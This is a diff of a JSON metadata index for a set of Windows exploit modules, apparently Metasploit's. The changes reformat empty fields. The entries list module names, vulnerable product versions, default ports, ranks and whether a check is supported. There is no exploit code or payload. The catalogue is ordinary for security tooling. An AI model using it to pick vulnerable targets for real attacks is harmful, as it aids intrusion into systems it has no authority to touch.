- - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Diagnostics Server 9.10" ], @@ -186969,17 +166190,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_omniinet_1": { "name": "HP OmniInet.exe MSG_PROTOCOL Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_1", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-17", "type": "exploit", @@ -186998,12 +166216,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "HP OpenView Storage Data Protector A.05.50: INET, internal build 330", @@ -187018,17 +166232,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_omniinet_2": { "name": "HP OmniInet.exe MSG_PROTOCOL Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_2", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-17", "type": "exploit", @@ -187047,12 +166258,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "HP OpenView Storage Data Protector A.05.50: INET, internal build 330", @@ -187067,17 +166274,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_omniinet_3": { "name": "HP OmniInet.exe Opcode 27 Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_3", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-06-29", "type": "exploit", @@ -187093,12 +166297,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector A.06.10 Build 611 / A.06.11 Build 243" ], @@ -187109,17 +166309,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_omniinet_4": { "name": "HP OmniInet.exe Opcode 20 Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_4", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-06-29", "type": "exploit", @@ -187141,12 +166338,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector A.06.10 b611 / A.06.11 b243 XP SP3/Win2003/Win2008" ], @@ -187157,17 +166350,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_operations_agent_coda_34": { "name": "HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow", "fullname": "exploit/windows/misc/hp_operations_agent_coda_34", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-09", "type": "exploit", @@ -187185,12 +166375,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Operations Agent 11.00 / Windows XP SP3", "HP Operations Agent 11.00 / Windows 2003 SP2" @@ -187202,17 +166388,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_operations_agent_coda_8c": { "name": "HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow", "fullname": "exploit/windows/misc/hp_operations_agent_coda_8c", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-09", "type": "exploit", @@ -187230,12 +166413,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Operations Agent 11.00 / Windows XP SP3", "HP Operations Agent 11.00 / Windows 2003 SP2" @@ -187247,17 +166426,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_ovtrace": { "name": "HP OpenView Operations OVTrace Buffer Overflow", "fullname": "exploit/windows/misc/hp_ovtrace", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-08-09", "type": "exploit", @@ -187273,12 +166449,8 @@ "platform": "Windows", "arch": "", "rport": 5051, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Advanced Server All English" ], @@ -187289,17 +166461,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hta_server": { "name": "HTA Web Server", "fullname": "exploit/windows/misc/hta_server", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-10-06", "type": "exploit", @@ -187313,12 +166482,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Powershell x86", "Powershell x64" @@ -187344,9 +166509,7 @@ "exploit_windows/misc/ib_isc_attach_database": { "name": "Borland InterBase isc_attach_database() Buffer Overflow", "fullname": "exploit/windows/misc/ib_isc_attach_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -187364,12 +166527,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Borland InterBase WI-V8.1.0.257", @@ -187390,17 +166549,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ib_isc_create_database": { "name": "Borland InterBase isc_create_database() Buffer Overflow", "fullname": "exploit/windows/misc/ib_isc_create_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -187418,12 +166574,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Borland InterBase WI-V8.1.0.257", @@ -187444,17 +166596,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ib_svc_attach": { "name": "Borland InterBase SVC_attach() Buffer Overflow", "fullname": "exploit/windows/misc/ib_svc_attach", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -187472,12 +166621,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Borland InterBase WI-V8.1.0.257", @@ -187498,17 +166643,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ibm_cognos_tm1admsd_bof": { "name": "IBM Cognos tm1admsd.exe Overflow", "fullname": "exploit/windows/misc/ibm_cognos_tm1admsd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-02", "type": "exploit", @@ -187527,12 +166669,8 @@ "platform": "Windows", "arch": "", "rport": 5498, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Cognos Express 9.5 / Windows XP SP3" ], @@ -187543,17 +166681,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ibm_director_cim_dllinject": { "name": "IBM System Director Agent DLL Injection", "fullname": "exploit/windows/misc/ibm_director_cim_dllinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-03-10", "type": "exploit", @@ -187599,17 +166734,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ibm_tsm_cad_ping": { "name": "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow", "fullname": "exploit/windows/misc/ibm_tsm_cad_ping", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-11-04", "type": "exploit", @@ -187624,12 +166756,8 @@ "platform": "Windows", "arch": "", "rport": 1582, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Tivoli Storage Manager Express 5.3.6.2" ], @@ -187640,17 +166768,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ibm_tsm_rca_dicugetidentify": { "name": "IBM Tivoli Storage Manager Express RCA Service Buffer Overflow", "fullname": "exploit/windows/misc/ibm_tsm_rca_dicugetidentify", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-04", "type": "exploit", @@ -187666,12 +166791,8 @@ "platform": "Windows", "arch": "", "rport": 1582, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Tivoli Storage Manager Express 5.3.6.2" ], @@ -187682,17 +166803,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ibm_websphere_java_deserialize": { "name": "IBM WebSphere RCE Java Deserialization Vulnerability", "fullname": "exploit/windows/misc/ibm_websphere_java_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-06", "type": "exploit", @@ -187734,17 +166852,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/itunes_extm3u_bof": { "name": "Apple iTunes 10 Extended M3U Stack Buffer Overflow", "fullname": "exploit/windows/misc/itunes_extm3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-21", "type": "exploit", @@ -187761,12 +166876,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3", "iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3", @@ -187780,17 +166891,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ivanti_agent_portal_cmdexec": { "name": "Ivanti EPM Agent Portal Command Execution", "fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-07", "type": "exploit", @@ -187808,12 +166916,8 @@ "platform": "Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -187828,9 +166932,7 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "repeatable-session" ] @@ -187841,9 +166943,7 @@ "exploit_windows/misc/ivanti_avalanche_mdm_bof": { "name": "Ivanti Avalanche MDM Buffer Overflow", "fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-14", "type": "exploit", @@ -187860,12 +166960,8 @@ "platform": "Windows", "arch": "x86", "rport": 1777, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ivanti Avalanche <= v6.4.0.0" ], @@ -187883,9 +166979,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -187893,9 +166987,7 @@ "exploit_windows/misc/landesk_aolnsrvr": { "name": "LANDesk Management Suite 8.7 Alert Service Buffer Overflow", "fullname": "exploit/windows/misc/landesk_aolnsrvr", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-04-13", "type": "exploit", @@ -187911,12 +167003,8 @@ "platform": "Windows", "arch": "", "rport": 65535, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Alerting Proxy 2000/2003/XP", "Alerting Proxy 2003 SP1-2 (NX support)", @@ -187929,17 +167017,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/lianja_db_net": { "name": "Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow", "fullname": "exploit/windows/misc/lianja_db_net", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-22", "type": "exploit", @@ -187954,12 +167039,8 @@ "platform": "Windows", "arch": "x86", "rport": 8001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2", "Lianja SQL 1.0.0RC5.1 / Windows XP SP3" @@ -187982,9 +167063,7 @@ "exploit_windows/misc/manageengine_eventlog_analyzer_rce": { "name": "ManageEngine EventLog Analyzer Remote Code Execution", "fullname": "exploit/windows/misc/manageengine_eventlog_analyzer_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-07-11", "type": "exploit", @@ -188025,17 +167104,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/misc/mercury_phonebook": { "name": "Mercury/32 PH Server Module Buffer Overflow", "fullname": "exploit/windows/misc/mercury_phonebook", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-12-19", "type": "exploit", @@ -188051,12 +167127,8 @@ "platform": "Windows", "arch": "", "rport": 105, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP0/SP1 English", "Windows 2000 Pro English ALL" @@ -188068,17 +167140,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/mini_stream": { "name": "Mini-Stream 3.0.1.1 Buffer Overflow", "fullname": "exploit/windows/misc/mini_stream", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-12-25", "type": "exploit", @@ -188095,12 +167164,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 ENG", "Windows XP SP2 ENG" @@ -188112,17 +167177,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/mirc_privmsg_server": { "name": "mIRC PRIVMSG Handling Stack Buffer Overflow", "fullname": "exploit/windows/misc/mirc_privmsg_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-02", "type": "exploit", @@ -188139,12 +167201,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -188155,17 +167213,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/mobile_mouse_rce": { "name": "Mobile Mouse RCE", "fullname": "exploit/windows/misc/mobile_mouse_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-09-20", "type": "exploit", @@ -188181,12 +167236,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 9099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -188214,9 +167265,7 @@ "exploit_windows/misc/ms07_064_sami": { "name": "MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow", "fullname": "exploit/windows/misc/ms07_064_sami", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-11", "type": "exploit", @@ -188233,12 +167282,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English" ], @@ -188249,17 +167294,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ms10_104_sharepoint": { "name": "MS10-104 Microsoft Office SharePoint Server 2007 Remote Code Execution", "fullname": "exploit/windows/misc/ms10_104_sharepoint", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-14", "type": "exploit", @@ -188304,17 +167346,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/netcat110_nt": { "name": "Netcat v1.10 NT Stack Buffer Overflow", "fullname": "exploit/windows/misc/netcat110_nt", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-12-27", "type": "exploit", @@ -188331,12 +167370,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal nc.exe" ], @@ -188347,17 +167382,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/nettransport": { "name": "NetTransport Download Manager 2.90.510 Buffer Overflow", "fullname": "exploit/windows/misc/nettransport", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-02", "type": "exploit", @@ -188374,12 +167406,8 @@ "platform": "Windows", "arch": "", "rport": 22222, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -188390,17 +167418,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/nvidia_mental_ray": { "name": "Nvidia Mental Ray Satellite Service Arbitrary DLL Injection", "fullname": "exploit/windows/misc/nvidia_mental_ray", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-12-10", "type": "exploit", @@ -188417,12 +167442,8 @@ "platform": "Windows", "arch": "", "rport": 7414, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -188433,17 +167454,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/plugx": { "name": "PlugX Controller Stack Buffer Overflow", "fullname": "exploit/windows/misc/plugx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-07-27", "type": "exploit", @@ -188451,18 +167469,12 @@ "Professor Plum" ], "description": "This module exploits a stack buffer overflow in the PlugX Controller (C2 server).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": 13579, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PlugX Type I (old)", "PlugX Type I", @@ -188475,17 +167487,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/poisonivy_21x_bof": { "name": "Poison Ivy 2.1.x C2 Buffer Overflow", "fullname": "exploit/windows/misc/poisonivy_21x_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-06-03", "type": "exploit", @@ -188499,12 +167508,8 @@ "platform": "Windows", "arch": "", "rport": 3460, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Poison Ivy 2.1.4 on Windows XP SP3" ], @@ -188515,17 +167520,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/poisonivy_bof": { "name": "Poison Ivy Server Buffer Overflow", "fullname": "exploit/windows/misc/poisonivy_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-24", "type": "exploit", @@ -188545,12 +167547,8 @@ "platform": "Windows", "arch": "", "rport": 3460, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1", "Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1", @@ -188563,17 +167561,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/poppeeper_date": { "name": "POP Peeper v3.4 DATE Buffer Overflow", "fullname": "exploit/windows/misc/poppeeper_date", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-27", "type": "exploit", @@ -188589,12 +167584,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "POP Peeper v3.4" ], @@ -188605,17 +167596,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/poppeeper_uidl": { "name": "POP Peeper v3.4 UIDL Buffer Overflow", "fullname": "exploit/windows/misc/poppeeper_uidl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-27", "type": "exploit", @@ -188631,12 +167619,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "POP Peeper v3.4" ], @@ -188647,17 +167631,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/realtek_playlist": { "name": "Realtek Media Player Playlist Buffer Overflow", "fullname": "exploit/windows/misc/realtek_playlist", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-12-16", "type": "exploit", @@ -188673,12 +167654,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Realtek Media Player(RtlRack) A4.06 (XP Pro All English)" ], @@ -188689,17 +167666,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/remote_control_collection_rce": { "name": "Remote Control Collection RCE", "fullname": "exploit/windows/misc/remote_control_collection_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-09-20", "type": "exploit", @@ -188715,12 +167689,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 1926, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -188749,9 +167719,7 @@ "exploit_windows/misc/remote_mouse_rce": { "name": "Remote Mouse RCE", "fullname": "exploit/windows/misc/remote_mouse_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-15", "type": "exploit", @@ -188770,12 +167738,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 1978, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -188804,9 +167768,7 @@ "exploit_windows/misc/sap_2005_license": { "name": "SAP Business One License Manager 2005 Buffer Overflow", "fullname": "exploit/windows/misc/sap_2005_license", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-01", "type": "exploit", @@ -188823,12 +167785,8 @@ "platform": "Windows", "arch": "", "rport": 30000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sap Business One 2005 B1 Universal" ], @@ -188839,17 +167797,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/sap_netweaver_dispatcher": { "name": "SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow", "fullname": "exploit/windows/misc/sap_netweaver_dispatcher", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-08", "type": "exploit", @@ -188869,12 +167824,8 @@ "platform": "Windows", "arch": "", "rport": 3200, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3", "SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2" @@ -188886,17 +167837,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/shixxnote_font": { "name": "ShixxNOTE 6.net Font Field Overflow", "fullname": "exploit/windows/misc/shixxnote_font", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-10-04", "type": "exploit", @@ -188912,12 +167860,8 @@ "platform": "Windows", "arch": "", "rport": 2000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ShixxNOTE 6.net Universal" ], @@ -188928,17 +167872,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/solarwinds_amqp_deserialization": { "name": "SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE", "fullname": "exploit/windows/misc/solarwinds_amqp_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-19", "type": "exploit", @@ -188957,12 +167898,8 @@ "platform": "Windows", "arch": "cmd", "rport": 5671, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -188990,9 +167927,7 @@ "exploit_windows/misc/solidworks_workgroup_pdmwservice_file_write": { "name": "SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write", "fullname": "exploit/windows/misc/solidworks_workgroup_pdmwservice_file_write", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-02-22", "type": "exploit", @@ -189009,12 +167944,8 @@ "platform": "Windows", "arch": "", "rport": 30000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)", @@ -189027,17 +167958,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/misc/splayer_content_type": { "name": "SPlayer 3.7 Content-Type Buffer Overflow", "fullname": "exploit/windows/misc/splayer_content_type", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-04", "type": "exploit", @@ -189053,12 +167981,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/XP3" ], @@ -189069,17 +167993,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/stream_down_bof": { "name": "CoCSoft StreamDown 6.8.0 Buffer Overflow", "fullname": "exploit/windows/misc/stream_down_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-12-27", "type": "exploit", @@ -189098,12 +168019,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "StreamDown 6.8.0" ], @@ -189114,17 +168031,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/talkative_response": { "name": "Talkative IRC v0.4.4.16 Response Buffer Overflow", "fullname": "exploit/windows/misc/talkative_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-17", "type": "exploit", @@ -189140,12 +168054,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English" ], @@ 